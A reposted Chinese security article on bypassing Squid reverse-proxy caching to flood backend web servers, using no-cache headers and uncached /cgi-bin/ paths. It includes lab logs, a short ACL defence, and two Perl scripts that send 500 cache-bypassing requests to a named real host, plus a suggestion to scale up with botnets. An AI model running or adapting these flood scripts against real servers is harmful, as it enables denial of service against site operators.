知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 技术文献

利用HTTP指令进行攻击——Cache篇

发布时间:2011-06-26 05:30:48作者:知识屋

技术背景

随着Web技术越来越广泛的应用到我们的生活,Web应用的架构的设计者和开发者不得 不面对这么一个问题,那就是Web不断增长的访问量和负载,随之提升性能的相关技术应运而生,如DNS轮询、负载均衡、Cache技术等等。如果有兴趣, 大家不妨对大型网站进行一下抓包,可以发现很多网站都采用了squid反向代理,通过Squid的Cache提供高速Web响应。

攻击原理

Cache机制不仅给服务器处理带来了很大程度的性能提升,一定程度上,也大大提升了Web服务提供商应对Get Flood的能力。

用户对网站的访问,大多被分布的Cache服务器分担了,由于Cache服务器的数量以及Cache的良好处理吞吐性能,即便发生了Get Flood等攻击,此种机制也可以很好的自身消化掉攻击负载,并且即便单一Cache主机瘫痪也不会对整体Web服务造成影响。

我们可以假设这样一种形势,如果攻击者可以穿过Cache,直接将负载压力传达到后台提供HTTP服务的服务器,将这台机器攻击瘫痪,那么前台的服务器也将因为Cache无法得到更新而服务受到影响,达到拒绝服务的效果。

那么是否有方法可以达到上述效果呢?答案是肯定的,那就是通过HTTP指令来达到此种攻击。

HTTP协议(v1.1和v1.0)都提供了Cache处理字段,其中字段 Cache-Control(v1.0中为Pragma),当这个字段的值为no-cache时,大多数cache软件将不对请求作出响应,而直接将请求 传递到后台服务器,利用这个指令的机制,我们就可以实现我们所要达到的攻击效果。

效果验证

为了验证这种理论上的攻击形式,Coolc架设了简单的应用环境进行验证

正常访问

而在正常情况下,Squid会在内存Cache中处理所有请求,可以发现大多数请求的 压力根本无法到达Apache,而直接在Squid消化。如下所示,500个请求,只有一个到达了Apache,而这个访问,只是Squid为了到 Apache拉取最初始的文件内容造成的。

 

root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log |wc -l

    1

root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c

499 TCP_MEM_HIT/200

指令绕过

当Squid在处理访问时,如果发现特殊的标志位后,其将会直接将请求向后转发,同事 将在访问日志中记为一条TCP_CLIENT_REFRESH_MISS。通过下面试验,我发送了500个带特殊标志位的HTTP请求,直接越过了 Cache,而将压力直接加载到后台,下面的结果我们验证了效果。

 

用Pragma: no-cache绕过

root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log |wc -l

    500

root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c

500 TCP_CLIENT_REFRESH_MISS/200



用Cache-Control:no-cache绕过

root@coolc:~/squid-2.5.STABLE12# cat apache-host.example.com-access_log |wc -l

    500

root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c

    500 TCP_CLIENT_REFRESH_MISS/200

演示代码:

 

 

use IO::Socket;

#$host=shift(@ARGV);

$i=1;

while ($i<500) {

    $i++;

    print "n$in";

    $remote = IO::Socket::INET->new(Proto => "tcp",

    PeerPort => "80",

    #PeerAddr => "blog.xfocus.net"

    PeerAddr => "test.qq.com"

    )||die(print "cant't connet $!");

    $remote->autoflush(1);

    print  $remote "GET /index.html HTTP/1.1rnAccept:image/gif image/x-xbitmap, 

image/jpeg,application/x-shockwave-flashrnReferer: http://www.google.comrnAccept:-

Language: zh-cnrnUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; 

SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)rnCache-Control:no-

cachernHOST:test.qq.comnn";

  #print <$remote>;

  close $remote;

  #sleep 1;

    }

实际应用

利用配置问题

在实际应用中的攻击,也许对方网管会采取作Squid的ACL方法来屏蔽此种攻击,但是实际环境中的攻击种类和方法会更加多样化,例如利用Squid默认配置中存在的问题,一样可以达到灵巧利用此问题,并具有一定隐蔽性。

场景某网管在Squid通过ACL做了no-cache过滤,使得加杂no-cahce的指令无法穿过,但是一样遭到了Cache拒绝服务攻击。

攻击原理

Squid的处理方式当返回为404、403时,通过cache处理减轻后台Web系统的负担。

通过程序用GET方式访问500次不存在的文件“index.html。”

查看squid的日志,cache住了绝大多数请求。

 

root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |wc -l

    499

root@coolc:~/squid-2.5.STABLE12# cat  squid_access.log |awk '{print $4'}|uniq -c

499 TCP_NEGATIVE_HIT/404

root@coolc:~/squid-2.5.STABLE12# cat apache-access_log |wc -l

0

而实际上传到到Apache上的压力为0,也就是几乎没有压力。TCP_NEGATIVE_HIT解决了大多数的负载,导致攻击压力全部不能施加在后台的Web服务器。

从Squid的配置文件里可以看到,Squid对于特殊错误的返回也是做了处理的,一样做了Cache。

 

#  TAG: negative_ttl    time-units

#       Time-to-Live (TTL) for failed requests.  Certain types of

#       failures (such as "connection refused" and "404 Not Found") are

#       negatively-cached for a configurable amount of time.  The

#       default is 5 minutes.  Note that this is different from

#       negative caching of DNS lookups.

 

是否有方式可以绕过cache机制和ACL限制,将类似404压力施加到服务器上?答案时肯定的,那就是通过访问cgi-bin目录下的文件。

 

通过执行攻击代码我们同样实现了对后台主机的攻击,穿透了Cache。

 

root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c

499 TCP_MISS/404



root@coolc:~/squid-2.5.STABLE12# cat apache-access_log |wc -l

499

从日志中可以发现如下痕迹。

 

172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298

172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298

172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298

172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298

 

实际上造成上述原因就死活因为默认配置中对于cgi-bin目录做了特殊处理,导致对于其放开了Cache的限制。

 

 

#  TAG: hierarchy_stoplist

#       A list of words which, if found in a URL, cause the object to

#       be handled directly by this cache.  In other words, use this

#       to not query neighbor caches for certain objects.  You may

#       list this option multiple times. Note: never_direct overrides

#       this option.

#We recommend you to use at least the following line.

hierarchy_stoplist cgi-bin ?

#  TAG: no_cache

#       A list of ACL elements which, if matched, cause the request to

#       not be satisfied from the cache and the reply to not be cached.

#       In other words, use this to force certain objects to never be cached.

#

#       You must use the word 'DENY' to indicate the ACL names which should

#       NOT be cached.

#

#We recommend you to use the following two lines.

acl QUERY urlpath_regex cgi-bin ?

no_cache deny QUERY

 

攻击代码:

 

use IO::Socket;

#$host=shift(@ARGV);

$i=1;

while ($i<500) {

    $i++;

    print "n$in";

    $remote = IO::Socket::INET->new(Proto => "tcp",

    PeerPort => "80",

    #PeerAddr => "blog.xfocus.net"

    PeerAddr => "test.qq.com"

    )||die(print "cant't connet $!");

    $remote->autoflush(1);

    print  $remote "GET /cgi-bin/index.html1 HTTP/1.1rnAccept:image/gif image/x-

xbitmap, image/jpeg,application/x-shockwave-flashrnReferer: 

http://www.google.comrnAccept:-Language: zh-cnrnUser-Agent: Mozilla/4.0 (compatible; 

MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)

rnHOST:test.qq.comnn";

  #print <$remote>;

  close $remote;

  #sleep 1;

    }

 

扩展思路

当然目前这种攻击方式还仅仅是理论上的攻击,比如攻击代码单线程,攻击IP和特征明 显。很容易被识别并作ACL过滤。但是当我们扩展思路,如果我们利用大量的botnet或代理,变化所访问的文件和HTTP指令内容进行攻击,那么造成的 攻击将会更加有威力,并且难以识别。同时由于攻击负责将直接加载于后台,那么作为防御方的主机资源优势也大打折扣。

防御方法

最简单有效的方法无非是通过SQUID的配置中加载ACL禁用no-cache指令,不过此方法往往只在静态页面的服务器比较容易实现。

如:

 

acl LocalServers dst 192.168.8.0/24

no_cache deny LocalServers

总结

实际上HTTP指令的攻击不仅仅与此,本身HTTP协议的扩展协议指令一样有很多有待 挖掘的地方,对于此种攻击思路,虽然Coolc目前还没看到相关的描述,但是个人感觉也许在地下组织中,这些思路早已出现,甚至已经有了成熟的工 具,coolc在这里全当抛砖引玉,希望对网络安全有兴趣的同仁可以同我联系,共同讨论研究。

(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜